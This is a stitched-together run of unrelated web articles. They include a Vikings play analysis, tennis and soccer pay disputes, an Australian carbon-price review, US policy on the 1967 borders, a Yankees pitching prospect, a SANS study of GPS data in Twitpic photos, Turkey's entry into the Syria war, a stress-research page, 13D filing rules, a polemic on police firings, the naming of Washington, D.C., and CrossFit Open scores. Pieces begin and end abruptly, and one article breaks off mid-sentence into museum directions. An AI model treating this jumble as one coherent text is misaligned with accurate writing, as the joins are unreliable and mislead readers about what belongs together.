On this particular play, the Vikings’ call is straightforward and downhill. However, a potent Week 1 mixture of minimal reliable film and a self-described ‘exotic’ Titans offense meant there could be times when not everyone was on the same page.
“Going into the first game you can’t really expect certain things,” Smith said. “You have to be ready to make adjustments and that’s what we did.”
Trust in his teammates, communication and a little luck gave Smith the tools to correct a rare pre-snap mistake, ending with his arms clasped around Derrick Henry’s right knee to stop the first of six Titans’ second-half drives that ended in a punt or turnover.
Let’s start from the beginning.
–
Sharrif Floyd subbed out for Shamar Stephen on the obvious third-and-1 running down. Before Floyd reached the sideline, Smith had already pinpointed where he’d settle in before the snap. The Titans started off in an offset I-formation with balanced tight ends, and Smith walked to the weak side.
“That was kind of a… They kind of had a funky formation,” Smith said. “So we were just trying to sort that out from the start. Really, I should’ve started on the left to begin with.”
–
As soon as Titans receiver Harry Douglas [above] begins motioning, Greenway [52] raises his left arm for Smith to follow. He’s supposed to be on the defense’s left, where a second motion from Titans tight end Anthony Fasano [below] fortified the strong side of the play. Before Fasano steps back to motion that way, Vikings linebacker Anthony Barr [55] joins Greenway in calling Smith over to the left side.
“The linebackers handle setting the front and everything,” Smith said. “You know, they pretty much run the show and we kind of handle our business on the back end. And I do a lot of communicating there, but the safeties and linebackers talk a lot. They need to know where we are and we need to know where they are, so they handled it, really.”
–
Smith corrects himself before the Titans snapped the ball from an unbalanced I-formation. He had adequate time to adjust because Tennessee’s double motion chewed up 13 seconds between center Ben Jones touching the ball and quarterback Marcus Mariota receiving the snap. Smith quickly switched sides, where he and Barr blitzed the anticipated run.
“You need to know where you fit,” Smith said. “The guys up front help make that play and I got to kind of be the one that people saw make the play. But, you know, Linval [Joseph] on that play completely plugged the middle and Anthony [Barr] comes off the edge and takes on a blocker, maybe two of them. So, really that’s like the dirty work.”
–
Untouched, Smith slides off the outside hip of fullback Jalston Fowler and uses his speed and 6-foot-2 length to tackle Henry for no gain, forcing a punt. Smith went unblocked as Stephen took up an interior double team, Fasano blocked down on Eric Kendricks and Fowler, the lead blocker, took on Barr. The pulling guard, Quinton Spain, led up through the hole, which Smith went around, to block Terence Newman.
The play sparked a strong defensive effort in the second half.
“I think right around that time was when we kind of started settling down,” Smith said. “It’s as easy as that. Just calming down and everybody doing our job and taking care of our responsibility. I think maybe the next drive or so, Eric [Kendricks] scored that touchdown. And we just kind of started rolling from there.”
–
After allowing 11 first downs on only four first-half drives by the Titans, the Vikings stiffened up and surrendered just 57 yards total over the next six drives — starting with the three-and-out capped by Smith’s tackle.
On-field communication proved critical for a defense that is lauded by NFL opponents as disciplined as they come. Smith said it’s also a benefit of continuity after the Vikings returned nearly every defensive snap from last season.
“I’m not a vocal guy off the field, but on the field I’m trying to be,” Smith said. “You want to over communicate so everyone knows where we fit. Really, sometimes things are going to get hectic and stuff is gonna get crazy on game day. You’re going to see some things you haven’t before and you have to talk to each other.”“You know, in my next life, when I come back, I want to be someone in the WTA [Women’s Tennis Association] because they ride on the coattails of the men,” Moore said. “They don’t make any decisions, and they are lucky. They are very, very lucky. If I was a lady player, I’d go down every night on my knees and thank God that Roger Federer and Rafa Nadal were born because they have carried this sport. They really have.”
He subsequently resigned amid the backlash, but his views are shared by at least some top men’s players. Novak Djokovic, the world’s No. 1 men’s player, suggested that professional tennis should pay men more because they attract high viewership. That argument notwithstanding, pay equality in tennis, as my colleague Adam Chandler reported, “isn’t a cut-and-dry issue. In Grand Slam tournaments, men have to win three sets to advance while their female counterparts have to win two.”
But that’s clearly not the case with soccer. For starters, both men’s and women’s games are 90 minutes long. Then, by most measures, the women’s team is not only more accomplished, but also more popular. The women have won three World Cups and four Olympic gold medals. The men have not come anywhere near that. And last July, the Women’s World Cup final set a record for TV viewers––for women’s soccer, and men’s.
The players’ lawyer, Jeffrey Kessler, said the complaint with the EEOC, which handles workplace-discrimination issues, is as strong as he has seen, “because you have a situation where not only are their work requirements identical to the men’s requirements—the same number of minimum friendlies they have to play, the same requirements to prepare for their World Cups—but they have outperformed the men both economically and on the playing field in every possible way the last two years.
“So this isn’t a case where someone can come in and say the reason the men are paid more is because they are more economically successful or the men outperform the women or they’re not comparable in the same way,” he said.
And it’s not just pay from U.S. soccer that is unequal. For a long time, the women’s team has complained that everything from the referees who call their matches, to the fields they play on, don’t compare with the men’s. Last December, the women canceled a game against Trinidad and Tobago in Hawaii because the artificial turf, they said, was peeling and laden with rocks.
U.S. Soccer said in a statement, sent to ESPN, that it hadn’t seen the specifics of Thursday’s complaint, but that it’s disappointed.
“We have been a world leader in women’s soccer and are proud of the commitment we have made to building the women’s game in the United States over the past 30 years,” the statement said.Carbon price for power generators back on the table in Federal Government's climate policy review
Updated
A carbon price for power companies is set to be considered as part of a climate change review, but the Government has ruled out a return to Labor's carbon tax.
Key points: Government says the scheme is not a return to the carbon tax
Environment Minister said the Government will take a sector-by-sector approach
Electricity sector produces the most emissions in Australia
The Department of the Environment and Energy will undertake an internal review next year to examine the best ways to meet Australia's climate commitments.
Environment Minister Josh Frydenberg said the review would consider an emissions intensity scheme for electricity generators, but said the Government would take a sector-by-sector approach.
"We reject an economy-wide approach," he told the ABC.
"What this review has indicated is we will look at a sector-by-sector approach. The electricity sector is the one which produces the most emissions — around a third of Australia's emissions come from that sector.
"We know that there's been a large number of bodies that have recommended an emissions intensity scheme."
Mr Frydenberg said there had been recommendations for a "baseline and credit scheme", which could be similar to an emissions trading scheme where emissions are capped by the Government.
Mr Frydenberg said a discussion paper would be released in early 2017.
Prime Minister Malcolm Turnbull today described the review as "nothing remarkable".
In 2014, the Abbott government passed legislation to repeal the clean energy package — or so called carbon tax - put in place by Labor.
It followed a lengthy campaign on the issue, which Tony Abbott described as a "historic betrayal" when it was unveiled by then prime minister Julia Gillard in 2011.
The legislation took effect on July 1 the following year and raised $3.8 billion in its first six months, according to a budget update in February 2013.
Opposition Leader Bill Shorten today labelled Direct Action a "flop" and called for further investment in renewable energy.
Topics: federal-parliament, environment, government-and-politics, australia
First postedThere has been so much uproar in the last week over President Obama’s statements about Israeli-Palestinian peace negotiations beginning around 1967 borders – along with land swaps — that TPM wanted to lay out the record on whether this policy really amounted to a shift – if even ever so slightly – from the policies of previous administrations.
Prime Minister Netanyahu flat-out rejected any return to 1967 boundaries a week ago Friday during a tense meeting at the White House, saying that such a plan was “indefensible.” Days later, to rapturous applause at a joint session of Congress, he once again turned down any suggestion that Israel withdraw to its 1967 borders, although by then he and Obama appeared to have mended some fences after Obama gave a speech to the American-Israeli Public Affairs Committee reiterating his commitment to Israel as close friend and ally.
But does Obama’s position constitute a tangible shift in U.S. policy towards the peace process, or is it merely an affirmation of a long-recognized understanding?There are times when previous administrations seem to have spoken Obama’s argument nearly verbatim and times when they parsed their words a little more carefully. But the basic point was the same — that a future peace plan must be based upon the 1967 lines with adjustments or “land swaps” as needed. Perhaps the only difference was a subtle shift in emphasis and the fact that Obama’s statement was the first time he, as President, explicitly referred to the 1967 boundaries, a long-running flash-point.
The events of the last week have made a return to the negotiating table by both sides seem all but impossible. Netanyahu and Israel’s hardline allies are bracing for a United Nations vote on Palestinian statehood at the General Assembly in September, and Palestinians are calling for that recognition to be based on 1967 borders as well. If that vote is successful, Israel could quickly face a scenario in which it is occupying not just Palestinian lands, but a Palestinian state, recognized by much of the world.
Here we’ve laid out some of the most telling policy statements from past presidents and administration officials that show uniformity on the issue of borders. An editorial by CNN’s Fareed Zakaria pointed out three instances where government positions matched Obama’s statement nearly verbatim, and we include them below.
Secretary of State Hillary Clinton in November 2009: “We [support]…the Palestinian goal of an independent and viable state, based on the 1967 lines, with agreed swaps.”
Some background on this quote: People who claim that Obama’s comments constituted a policy shift maintain that Clinton’s wording of “Palestinian goal” of 1967 lines does not equate to official U.S. policy on the matter.
Here’s the longer version of the quote:
“We believe that through good-faith negotiations the parties can mutually agree on an outcome which ends the conflict and reconciles the Palestinian goal of an independent and viable state based on the 1967 lines, with agreed swaps, and the Israeli goal of a Jewish state with secure and recognized borders that reflect subsequent developments and meet Israeli security requirements.”
Here is what Netanyahu’s immediate predecessor, Ehud Olmert, said in a speech to the Israeli Knesset in 2008: “We must give up Arab neighborhoods in Jerusalem and return to the core of the territory that is the State of Israel prior to 1967, with minor corrections dictated by the reality created since then.”
From the aforementioned Zakaria piece: “Olmert, a man with a reputation as a hard-liner, said that meant Israel would keep about 6 percent of the West Bank – the major settlements – and give up land elsewhere. This was also the position of Ehud Barak, Israel’s prime minister during the late 1990s.”
President George W. Bush made his most explicit call for an end to the Israeli occupation after making his first visit to the West Bank in January 2008 :
“The point of departure for permanent status negotiations to realize this vision seems clear: there should be an end to the occupation that began in 1967,” he said.
He insisted it would be possible to reach a peace agreement within a year. The future borders of a Palestinian state, he said, would “require mutually agreed adjustments to the armistice lines of 1949 to reflect current realities”.
The armistice lines mark where the boundary stood on the eve of the six-day war in 1967 before Israel captured East Jerusalem, the West Bank and Gaza. His phrase “current realities” suggested Israel keeping some of the settlement blocs in the West Bank, in line with a letter he sent to the former Israeli Prime Minister Ariel Sharon three years prior.
Here is George W. Bush in 2008: “I believe that any peace agreement between them will require mutually agreed adjustments to the armistice lines of 1949 to reflect current realities and to ensure that the Palestinian state is viable and contiguous.”
George W. Bush put the emphasis on recognizing that the 1967 borders without swaps would be unrealistic, in an April 14, 2004 letter to Ariel Sharon:
“It is unrealistic to expect that the outcome of final status negotiations will be a full and complete return to the |
park and the other facing Grand Central Parkway. The Park entrance is directly in front of the Unisphere. Please allot 15 minutes for the walk from the Mets-Willets Point subway station to the museum.
New York City Building
Flushing Meadows Corona Park
Queens NY 11368
Telephone: (718) 592-9700
This email address is being protected from spambots. You need JavaScript enabled to view it.The most dominant pitcher in the minors pitched in the majors. But he didn’t pitch much, as a September call-up, and he wasn’t very good, and you probably don’t know him. He gave up a home run. Walked four and whiffed five. About a hit an inning. He wasn’t handling high-leverage assignments. For all intents and purposes, his big-league work was almost invisible.
And yet, the most dominant pitcher in the minors was extraordinarily dominant, in the minors. He is but 23 years old, and he isn’t going away. He’s not about to change anyone’s offseason plans. He’s not about to get dealt in a blockbuster. He’s a prospect. He’s a prospect who’ll get an extended chance to build on what he’s already done.
The asterisk is up there because “dominant” is subjective. You might have your own preferred indicators. I’ve elected to go with FIP, and I’ve set an innings-minimum of 50 frames. Based just on those terms, here are last year’s five most dominant minor-league pitchers:
This would seem to call your attention to Bryan Valdez. He is, perhaps, a very good pitcher, but I’ve made another subjective decision. See, Valdez threw all his innings in the Dominican Summer League. It all counts, but I don’t consider that a regular minor-league level. My personal minors extend on down to rookie ball, so that leaves Valdez on the outside looking in. Which means we move on to Holder. You know the name right after him — Dayton carried his minor-league success with him to the Dodgers. Holder got less of a chance with the Yankees, but the better chance is coming. Nearly all of his innings were thrown in Double- or Triple-A.
Holder’s 2016 in the minors was almost too good to believe. Out of everybody who threw at least 50 innings in the minors, only Dayton and Holder pulled off a K-BB% of 40%. Nobody else was above 35%. Somehow, even more unbelievably, Holder generated 35 strikeouts without a single walk in Triple-A. In his final minor-league appearance, he struck out 12 of 13 batters, including 11 in a row. His minor-league OPS allowed was.447; his minor-league OBP allowed was.198. Think of the most dominant reliever you’ve ever seen in the majors. Holder was that guy in the high minors. You can’t keep a pitcher like that down very long.
Holder didn’t come out of nowhere. He was an excellent collegiate closer at Mississippi State, and the Yankees drafted him in the sixth round in 2014. But, in 2014, they tried him as a starter. In 2015, he started another 21 times. He was good enough to run a low ERA, but this past year, it was all relief. Holder thrived upon the readjustment. And, by the way, those 65.1 innings — those came in 42 appearances. Holder had 16 games in which he threw at least two innings. That’s another thing that makes him frightening. He wasn’t amazing for an inning at a time. He was amazing for longer than that. Holder was the Andrew Miller of the upper minors.
For some additional numbers, a table, comparing Holder to the average reliever at his levels (combined):
Jonathan Holder vs. Average Reliever Pitcher FIP K% BB/HBP% Strike% Contact% Pop-Up% Holder 1.30 42% 5% 71% 67% 15% Average RP 3.50 23% 10% 63% 75% 7%
The strikeout and walk rates are already suggestive, but Holder threw better than seven of every 10 pitches for strikes. That’s basically peak Cliff Lee. His pitches were difficult to hit when batters swung, and then you get to the last column. Holder didn’t even need it, but he ran a pop-up rate that was twice the average. A pop-up is effectively a more efficient strikeout. So, if anything, Holder’s strikeout rate was misleadingly low. And he almost never fell behind in counts.
You might wonder how Holder can do this. At 6’2, he’s not short, but he’s also not tall, for a pitcher. He doesn’t get extreme forward extension. It’s a simple recipe: Holder throws four different pitches, and he has pretty good control of all of them. His four-seamer can get into the mid-90s, and it has plenty of rise, with little horizontal break.
Sometimes, Holder turns the ball in his hand and grabs it along the seams. That gives him a second fastball, with a bit of drop, and an extra half-foot or so of lateral break.
As secondary stuff goes, Holder can come at hitters with a sharp slider or cutter. It’s worth noting he didn’t run a bad platoon split.
And, finally, there’s a curveball. It’s a very sharp curveball. According to Baseball Savant, Holder’s average curve in the majors last year had a spin rate of 2927 RPM. That rated him in the 97th percentile, basically tied with Jeremy Hellickson and Lance McCullers. The average curve had a spin rate of 2462 RPM. So Holder does have a quality softer offering.
When I was examining some similar pitches, I saw that Holder’s fastball and cutter are kind of like Alex Colome’s. But when you think about the whole package, the same name might come to you that eventually came to me. Holder does not throw quite as hard as Wade Davis does, and extra velocity is always important. But Holder was basically just prime Davis in the minors, if the Andrew Miller thing isn’t working for you. Based on handedness and repertoire, Davis is more appropriate, anyway. And he’s the guy you can see when you watch Holder and daydream. Holder could try to do his impression, and the door’ll be open in the season to come.
Could be that Holder is some kind of Quad-A pitcher. Could be, alternatively, he’ll just get hurt, like pitchers do, and that’ll be that. The Yankees are out there looking at high-priced available relievers, and they want someone reliable they can pair with Dellin Betances. But even though Holder can’t be depended on for now, he will get his opportunity. The Yankees know what he might have, and they’re not going to sit on that any longer. There are, most definitely, more exciting pitching prospects. On a per-inning basis, I don’t think there’s a more dominant pitching prospect.Modern cell phones frequently include a camera and a GPS. Even if a GPS is not included, cell phone towers can be used to establish the location of the phone. Image formats include special headers that can be used to store this information, so called EXIF tags.
In order to test the prevalence of these tags and analyze the information leaked via EXIF tags, we collected 15,291 images from popular image hosting site Twitpic.com. Twitpic is frequently used together with Twitter. Software on smart phones will take the picture, upload it to twitpix and then post a message on Twitter pointing to the image. Twitpic images are usually not protected and open for all to read who know the URL. The URL is short and incrementing, allowing for easy harvesting of pictures hosted on Twitpic.
We wrote a little script to harvest 15,291 images. A second script was used to analyze the EXIF information embedded in these images. About 10,000 of the images included basic EXIF information, like image resolution and camera orientation. 5247 images included the Camera Model.
Most interestingly: 399 images included the location of the camera at the time the image was taken, and 102 images included the name of the photographer. Correlating the camera model with the photographer field, we found that it was predominantly set for the Canon and Nikon cameras. Only few camera phones had the parameter set.
GPS coordinates where only set for phones, with one single exception (a Nikon Point and Shoot camera, which does not appear to come with a build in GPS. The location may have been added manually or by an external GPS unit). The lion share of images that included GPS tags came from iPhones.
The iPhone is including the most EXIF information among the images we found. The largest EXIF data set we found can be found here. It not only includes the phone's location, but also accelerometer data showing if the phone was moved at the time the picture was taken and the readout from the build in compass showing in which direction the phone was pointed at the time.
Figure 1: Pictures with GPS coordinates broken down by Phone manufacturer.
Figure 2: Geographic Distribution of Images
Now the obvious question: Anything interesting in these pictures? The images all the way up north shows an empty grocery store (kind of like in the DC area these days). The picture at the Afghan - Pakistan border shows a pizza... Osama got away again I guess.
The scripts used for this can be found here: http://johannes.homepc.org/twitscripts.tgz (two scripts, also needs "exiftools" to pull out the data).
------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
TwitterTurkey joins US war in Syria
By our Turkish correspondent
25 July 2015
Over the past two days, Turkey’s government has executed a sharp shift in its foreign policy, aligning itself more closely with Washington’s military strategy in the region and effectively becoming an active part of the US-led “coalition” waging war in Iraq and Syria.
For a long time, Ankara had refrained from supporting the US-led war, ostensibly aimed against the Islamic State in Syria (ISIS), insisting on a policy aimed at toppling the government of President Bashar al-Assad and covertly supporting ISIS, both against the Syrian regime and against Kurdish nationalists.
On Wednesday, however, US President Barack Obama and Turkish President Tayyip Erdoğan agreed in a phone call to work together to secure the Turkish-Syrian border and fight against ISIS.
On Thursday, US officials announced an agreement allowing the US to carry out aerial attacks on IS positions from Turkish air bases at İncirlik and Diyarbakir. The Turkish government also agreed on the arming of the US Predator drones being launched from the İncirlik air base.
According to the Turkish newspaper Hurriyet Daily News, the deal, treated by the Turkish side as a “secret cabinet decree,” also includes plans for a “buffer zone” in northern Syria, something Ankara has long demanded as a means of escalating the war for regime change in Syria.
Gen. John Allen, Obama’s special envoy to the so-called coalition against ISIS, denied this during an appearance at the Aspen Security Forum in Colorado Thursday, saying that it “was not part of the discussion.”
State Department spokesman Mark Toner, however, cast doubt on this denial, stating in Washington that, while the Obama administration has concerns “about some of the logistical challenges inherent in a buffer zone...we obviously take threats to Turkey’s border seriously... So, we’re looking at options.”
If this “option” is included in the deal, Turkey’s entry into the anti-ISIS campaign is being joined with a qualitative escalation of the US intervention in Syria.
A senior US official described the agreement as a “game changer.” The Turkish air bases are much closer to the Syrian border than those in Iraq, Kuwait, Jordan and the Persian Gulf, from which US warplanes have operated until now. This will allow American combat aircraft and drones to respond much faster to intelligence information and attack more frequently. Spy aircraft can stay longer in the air.
Also on Thursday, the Turkish military directly joined the war against ISIS. Tanks and artillery shelled militants across the border. Early on Friday, for the first time ever, Turkish fighter jets attacked ISIS bases in Syria. They hit two headquarters and one “assembly point” of the group, according to the Turkish government. It stated that the decision for the attack was taken at a security meeting on Thursday. Government officials also claimed that no Turkish troops or warplanes crossed the Syrian border during these operations.
While joining the US war against ISIS, Ankara is simultaneously stepping up its offensive against Kurdish nationalist groups, which are openly or tacitly aligned with Washington in the fight against ISIS, and against the social and political opposition inside Turkey.
The Turkish ruling class fears the consolidation of a Kurdish-controlled area in northern Syria by the PYD/YPG, an offset of the PKK, a Kurdish separatist guerrilla group in Turkey. It is combining the fight against ISIS with ever-growing pressure on the PYD-YPG and the PKK. The so-called “peace process” with the PKK and its imprisoned leader Abdullah Öcalan is considered as good as dead. The government is also attacking the People’s Democratic Party (HDP), the legal Kurdish party that won 13 percent of the vote in the last election and deprived the ruling AKP of its majority.
On Thursday, when the Turkish army joined the war against ISIS, some 5,000 Turkish police officers, backed by helicopters and armored cars, launched raids on suspected ISIS and PKK members in Istanbul and in 13 provinces across Turkey. At least 250 people were arrested and one woman, a member of a leftist organization, was shot.
Prime Minister Davutoğlu said the government was determined to fight all “terrorist“ groups “without distinction.” He sharply attacked the HDP, declaring that it is an offshoot of a terrorist organization. Government critics, however, have charged that the majority of those arrested were not members or supporters of ISIS, but rather Kurdish activists, leftists and Turkish political opponents of the government.
The immediate reason given for the shift in Turkish policy is Monday’s terrorist attack in the town of Suruç, where an ISIS suicide bomber killed 32 people and wounded some 100, followed by an ISIS attack on Turkish soldiers at the Syrian border. ISIS militants opened fire, killing a soldier and wounding four, when Turkish authorities did not permit a wounded ISIS member to cross the border for medical treatment, according to the Turkish media.
But the shift in foreign policy was clearly prepared long before. The US-led wars in the Middle East have destabilized the entire region and undermined the neo-Ottoman ambitions of Erdoğan’s AKP to make Turkey a leading regional power.
Early this month, a large delegation from the Pentagon led by General Allen, the US special presidential envoy, and US Undersecretary of Defense Christine Wormuth arrived in Ankara to meet Turkish officials.
Originally, Ankara, Washington and its Arab allies worked closely together in undermining the Syrian regime and arming Islamist groups opposed to Damascus. But when ISIS expanded into Iraq and endangered the regime in Baghdad, Washington made a political turn. It bombed ISIS and, much to the dismay of Ankara, aligned itself with Iraqi Kurdish groups. The recent agreement between Iran and the US further undermines the rapidly declining influence of Ankara.
By joining the war against ISIS and simultaneously escalating the confrontation with the Kurdish nationalist groups, Ankara is trying to win back some influence over the course of events. By doing so, it is escalating the ethnic and sectarian tensions in Syria, Turkey and the entire region, posing a deadly danger for the working class.
A second, no less important, reason for Ankara’s warmongering is escalating social and political tensions at home. The massacre in Suruç has triggered a wave of terrorist attacks for revenge, in which the PKK killed three police officers and a soldier and two alleged ISIS members. A member of the HDP was killed by an “unidentified murderer.” The Turkish Prime Minister’s Office stated that the government would take “any necessary measures to protect public order and national security.”
Having lost its working majority in parliament in last May’s election, and unable to form a coalition holding more than half the seats, the ruling AKP is likely to be forced to call another snap election. It fears even greater losses, with anger over the Suruç bombing fueling opposition to the government as well as support for the new pro-Kurdish HDP.
Outrage over the Suruç atrocity has led to a number of demonstrations denouncing ISIS as well as what is widely seen as the Turkish government’s complicity with the Islamist group, all of which have been met with state violence.
On Friday, Turkish police in Istanbul using tear gas and rubber bullets broke up a demonstration of several hundred people. The protesters had raised slogans denouncing the ISIS terrorist bombing in Suruç as well as the government for allowing the Islamist group to operate on Turkish soil. A much larger “march for peace” has been called for Sunday by the main Kurdish parties.
Please enable JavaScript to view the comments powered by Disqus.Ask the Scientists
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What is the context of this research?
Modern life is characterized by repeated exposure to various stressors, for instance work load or pier pressure. Stress is a major risk factor in many mood-disorders such as depression and anxiety. Not everyone exposed to stressful conditions will develop any of these diseases suggesting that some individuals are more susceptible to stress and its consequences than others. The question of why some people are susceptible to stress, while others are resistant, remains unanswered. Finding answers to this question is fundamental to the understanding, diagnosis, prevention and treatment of stress-related disorders.
What is the significance of this project?
Approximately 20.9 million American adults have a mood disorder. Current treatments aim at alleviating the symptoms once the diagnosis has been made, and are efficient only in part of the affected population. We are still missing preventive strategies that could help at-risk individuals not to develop a mood disorder. Here, I suggest focusing on the main risk factor for mood disorders: stress. Exposure to stressful situations induces changes in brain chemicals that are responsible for the development of depressive or anxious behaviors. By reducing the effects that stress has on the brain chemistry, we can prevent the development of major psychiatric illnesses that are triggered by stress.
What are the goals of the project?
The right amount of neuronal excitation and inhibition allows the brain to function properly. Stress can affect this balance, leading to toxic levels of excitation and eventually to neuronal death. On the long-term, this loss of neurons leads to the behavioral abnormalities that characterize mood disorders. My goals are to use mouse models of stress-related disorders to:
Demonstrate that the inability of restoring a normal balance between excitation and inhibition after exposure to stress is a cause for the development of mood disorders
Propose a new therapeutic strategy targeting the excitation/inhibition balance during exposure to stress to prevent the development of mood disorders
My ultimate goal is to obtain preclinical proof of concept and initiate clinical trials in human populations.Join Fintel. It's Free! Enter your email or click a button to signup
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Every investor that acquires 5% of a company is required to file a beneficial ownership filing, which is either a Form 13D or Form 13G, within ten (10) days of the event. If the investor intends to influence management, then they are considered an activist investor and must file a 13D. Carl Icahn is a well-known activist investor. If they do not intend to influence management, then they are considered a passive investor and must file a 13G. Vanguard, because of it's size, owns more than 5% of many companies. Since it is a passively managed fund, it files Forms 13G. If there is any change in the ownership, investors must make amendments to their original filings, with either forms 13D/A, or 13G/A. If a passive investor that has filed a 13G decides they want to influence management, they must file a new 13D that supercedes their original 13G.
There is evidence that suggests investing alongside activist investors is a stock market investing strategy that can produce excess returns. This free screener shows all of the required Schedule 13D filings made by activist investors.
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Additionally, filers of 13Ds often organize investor groups in order to have more leverage when influencing management. Fintel only identifies the lead investor of an investor group. To see the other members of the group, read the original filing by clicking on the form type in the Form column. You cannot directly compare shares reported in a 13D/G with shares reported by the investor in a 13F, since the 13D/G filings may include other investors.
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“But their jobs are so hard!” This is something repeated ad nauseum by police apologists. According to Forbes, construction workers have the 10th most dangerous job in the country. Sanitation workers are at number 7, with 25.2 deaths per 100,000 workers. Farmers are at number 4, with 38.5 deaths per 100,000 workers, and fishing workers have the most dangerous job in America, with 200 deaths per 100,000 workers (see full list here).
While police certainly like to fear-monger and wallow in self-pity about a completely fictitious “War on Cops,” and an alleged rise in police deaths, the reality is that police officers don’t even make the top 10 list of America’s most dangerous jobs (see more on the falsity of increasing police deaths in Paula’s article here). Not only are their jobs less dangerous than that of construction workers, loggers, sales people who drive, and machinery installers, their death rates could arguably be drastically reduced if only they would take ingenious new-fangled precautions such as wearing seatbelts. In recent years, car crashes killed more police officers than violence, and studies indicated up to 40 percent of officers killed in car accidents were not wearing seatbelts (Paula’s article). While they are busy being reckless, killing themselves and pinning it on the public, the public continues to cheer them on in their hard work and exemplary service.
No one thinks the difficulty of fishing, construction work or salesmanship should grant free passes for torture and murder, but for some reason, far too many Americans believe police should be excused for abuses and executions because the job is so damn hard. When Johannes Mehserle “accidentally” killed Oscar Grant (and I say it in quotes, because in my opinion that was fucking murder), many police supporters believed he should receive no punishment at all. In most cases, ordinary people who accidentally kill others are certainly made to suffer some kind of official punishment, even if it was largely unintentionally. To my knowledge, construction workers and roofers, who provide people with homes, do not get to evade responsibility when their negligence causes someone’s death.
Absurdly, people continue to insist cops are somehow different. For once, I can agree with them, in one sense. I can actually say that there is one thing that is particularly and uniquely difficult about being a cop that simply is not the case with any of the other “difficult” professions listed above. For cops, it is inordinately, extremely, and unimaginably hard to get fired, no matter how incompetent you are.
The Houston Chronicle recently reported that ten Houston Police Department officers have had 370 violations of regulations over their careers. The complaints ranged from minor to serious, including failing to investigate a suspected child rape, wrecking police and private cars, refusing to answer internal affairs investigators, and detaining innocent residents. Nine of the ten officers continue to be on duty. One of these officers has 47 complaints sustained against him, while another has racked up 44. One officer was late to his shift 40 times. According to the Houston Chronicle, “four had conduct and a history of complaints severe enough for the police chief to attempt to fire them, but they were able to keep their jobs because of civil service and police union provisions that allow the chief to negotiate a lesser punishment through a ‘last chance agreement.'”
This is coming from the group of people who constantly tell the public that if they had only obeyed orders, they wouldn’t have been shot. If they had only complied, they wouldn’t have been Tasered, because the law is the law! They can’t even obey their own rules, laws or orders, but somehow, they are continually successful in using those same rules, laws and orders to justify the onslaught of abuse they consistently mete out to the public.
Even if officers are fired, “independent” hearing examiners often overturn firings upon appeal. This was the case with four of eight officers Houston’s Police Chief Charles McClelland fired last year. In Oakland, California, a similar thing happened with Marysol Domenici, an officer who was present during the execution of Oscar Grant. She not only justified the killing by saying that if only people would obey orders, they wouldn’t be killed, she also likely committed perjury (read more in Dr. Q’s article here). After she was fired, she was suspended with pay at her regular salary of $95,000, essentially, a paid vacation. She did absolutely nothing for 15 months while receiving a total of $118,750 in wages, paid for with local taxes. She too was reinstated by an arbitrator (with police like her, I would rather her be paid to do nothing, instead of cheering on executions).
In sum, it is important for people to understand the insurmountable, unparalleled difficulties [in getting fired] that police must face daily. You can be late 40 times, utterly fail in your duties, wantonly kill people, destroy private and public property, and still keep your job. Even if you lose your job, you will likely get it back after public outrage has died down. In the words of Arnold Schwarzenegger, police need to stop whining.
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EPNsketch of new federal capital by Thomas Jefferson (March 1791)
UPDATE: This post has been one of the most popular ever (at least according to Google searches). Many people don’t know the genesis of the District’s name. After you read this, you’ll know how it came to become Washington, D.C.
What was the Residence Act?
The Residence Act passed on July 6th 1790, giving President Washington the task of placing the capital on the Potomac. The cities of Georgetown, Alexandria and other smaller settlements like Carrollsburg, Hamburg, and Tennally’s Town fell into the new capital territory.
Congress recognized that Washington’s family owned a lot of property in and near Alexandria. Federal buildings were prohibited from being erected on the Virginia side of the District. This was in the hopes of reducing conflicts of interest. (UPDATE: It’s too bad the same policies weren’t applied to Donald Trump and his hotel on Pennsylvania Ave.)
Today, we take for granted the city’s name, streets, and layout, but in the late 18th century, all this was just being dreamt up. George Washington referred to the new capital as “the Federal City” until a meeting was held on September 9th, 1791 in Georgetown.
First referred to as “the Federal City”
In attendance were three men important to our history: Thomas Johnson, David Stuart, and Daniel Carroll. Below is a letter that resulted from that meeting, wherein the city received its permanent name. The three men were writing to Pierre L’Enfant.
Sir: We have agreed that the Federal District shall be called ‘The Territory of Columbia,’ and the Federal City the ‘City of Washington.’ The title of the map will therefore be, ‘A Map of the City of Washington in the Territory of Columbia.’ We have also agreed that the streets be named alphabetically one way and numerically the other, the former to be divided into north and south, and the latter into east and west numbers from the Capitol. Major Ellicott, with proper assistance, will immediately take, and soon furnish you with, the soundings of the Eastern Branch, to be inserted in the map. We expect he will also furnish you with the proposed post road, which we wish to be noticed in the map. We are respectfully yours, Thomas Johnson
David Stuart
Daniel Carroll
Pierre L’Enfant plans the new capital
L’Enfant took his orders and the resulting design is largely what we have today in our city. Below is the map he made, “Plan of the City intended for the Permanent Seat of the Government of the United States …” Make sure you click on the map for greater details. You’ll notice that Rock Creek is labeled Pine Creek on the map.
Plan of the city intended for the permanent seat of the government of the United States…
Source: Library of Congress
From Territory to District of Columbia
So back to the naming of the City of Washington and the Territory of Columbia. The first was obviously to honor the great man that was our first president. The latter, you may not know, is for Christopher Columbus, the man who “discovered” the New World. “Columbia” is the feminine form of Columbus and “Territory” was dropped in favor of “District” when the District of Columbia was incorporated as one entity in 1871 with the Organic Act.
So there you have it. The origins of our city’s name: Washington, D.C.Multi-year Games athletes Josh Bridges and Emily Bridgers have set the world’s best scores on Open Workout 16.1.
Athletes were given 20 minutes to accumulate as many reps as possible of 25-foot overhead walking lunges (95 lb. / 65 lb., 1 rep for every 5 feet), 8 burpees, 25-foot overhead walking lunges, and 8 chest-to-bar pull-ups.
Bridges and Bridgers pushed into the mid-300s, each completing more than 13 rounds. (To determine the number of rounds, divide an athlete’s total score by 26. There were 26 reps per round.)
Bridges, who took silver at the Games in 2011, racked up 365 reps. That breaks down to 14 completed rounds plus five feet of overhead walking lunges. The next closest competitors finished 15 reps behind (Jacob Heppner and Noah Ohlsen, 350 reps). Bridges has a history of winning Open workouts, securing one worldwide win each season that he has competed (16.1, 15.2, 14.5, 13.5, 11.4).
Bridgers, the sixth-ranked woman at the 2014 Games, completed 13 rounds and 16 reps (354 reps total). The former gymnast was able to hold off the 2013 Fittest Woman on Earth, Sam Briggs, surpassing Briggs' score by 6 reps.
Bridges and Bridgers will each be awarded $2,016 for their Open Workout 16.1 win.
Score submissions for Open workout 16.1 closed at 5 p.m. PT today, February 29. Affiliate managers will have the next 48 hours to validate scores (ending Wednesday, March 2 at 5 p.m. PT). NOTE: Since validation is ongoing, newly validated scores may appear on the Leaderboard.
